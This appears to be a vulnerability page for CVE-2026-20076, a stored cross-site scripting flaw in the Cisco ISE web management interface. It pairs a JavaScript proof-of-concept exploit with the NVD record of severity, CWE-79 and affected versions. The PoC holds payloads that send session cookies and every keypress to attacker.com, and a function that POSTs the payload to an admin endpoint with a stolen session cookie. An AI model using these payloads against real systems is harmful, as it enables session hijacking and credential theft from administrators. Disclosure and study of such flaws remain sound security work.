CVE-2026-20076

// CVE-2026-20076 Stored XSS PoC for Cisco ISE // Note: Requires valid admin credentials // Basic XSS payload example const xssPayload = '<script>alert(document.cookie)</script>'; // More advanced payload for session hijacking const advancedPayload = ` <script> // Steal session cookies document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '"/>'); // Or perform keylogging document.addEventListener('keypress', function(e) { fetch('http://attacker.com/log?key=' + e.key); }); </script> `; // Example: How the vulnerability might be exploited // POST request to vulnerable endpoint (example path) const exploit = async (targetUrl, sessionCookie) => { const response = await fetch(targetUrl + '/admin/endpoint/groups', { method: 'POST', headers: { 'Cookie': sessionCookie, 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'name=' + encodeURIComponent(advancedPayload) + '&description=test' }); return response; }; console.log('CVE-2026-20076 XSS Payload ready'); console.log('Target: Cisco ISE Web Management Interface');

{"cve": {"id": "CVE-2026-20076", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:07.517", "lastModified": "2026-01-30T19:53:59.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface.\r\n\r\nThis vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of an affected system. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit this vulnerability, the attacker must have valid administrative credentials."}, {"lang": "es", "value": "Una vulnerabilidad en la interfaz de gestión basada en web de Cisco Identity Services Engine (ISE) podría permitir a un atacante remoto y autenticado realizar un ataque de cross-site scripting (XSS) almacenado contra un usuario de la interfaz.\n\nEsta vulnerabilidad se debe a una validación insuficiente de la entrada proporcionada por el usuario por parte de la interfaz de gestión basada en web de un sistema afectado. Un atacante podría explotar esta vulnerabilidad inyectando código malicioso en páginas específicas de la interfaz. Un exploit exitoso podría permitir al atacante ejecutar código de script arbitrario en el contexto de la interfaz afectada o acceder a información sensible basada en el navegador. Para explotar esta vulnerabilidad, el atacante debe tener credenciales administrativas válidas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1.0", "matchCriteriaId": "A219182D-3C7A-4DFE-B716-3F77705C3D00"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2:-:*:*:*:*:*:*", "matchCriteriaId": "36722B6C-64A5-4D00-94E1-442878C37A35"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch1:*:*:*:*:*:*", "matchCriteriaId": "1B818846-4A6E-4256-B344-281E8C786C43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch2:*:*:*:*:*:*", "matchCriteriaId": "A44858A2-922A-425A-8B38-0C47DB911A3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch3:*:*:*:*:*:*", "matchCriteriaId": "53484A32-757B-42F8-B655-554C34222060"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch4:*:*:*:*:*:*", "matchCriteriaId": "0CCAC61F-C273-49B3-A631-31D3AE3EB148"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch5:*:*:*:*:*:*", "matchCriteriaId": "51AEFCE6-FB4A-4B1C-A23D-83CC3CF3FBBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch6:*:*:*:*:*:*", "matchCriteriaId": "B452B4F0-8510-475E-9AE8-B48FABB4D7D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch7:*:*:*:*:*:*", "matchCriteriaId": "5733512D-12B5-4098-AF90-9D68217FAC27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:-:*:*:*:*:*:*", "matchCriteriaId": "F1B9C2C1-59A4-49A0-9B74-83CCB063E55D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch1:*:*:*:*:*:*", "matchCriteriaId": "DFD29A0B-0D75-4EAB-BCE0-79450EC75DD0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch2:*:*:*:*:*:*", "matchCriteriaId": "E6C94CC4-CC08-4DAF-A606-FDAFC92720A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch3:*:*:*:*:*:*", "matchCriteriaId": "BB069EA3-7B8C-42B5-8035-2EE5ED3F56E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch4:*:*:*:*:*:*", "matchCriteriaId": "FF8B81A6-BF44-4E5F-B167-39F61DDCA026"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.4.0:-:*:*:*:*:*:*", "matchCriteriaId": "D23905E0-E525-49B1-8E5F-4EB42D186768"}]}]}], "references": [{"url": "https://sec.cloudapps.ci ... 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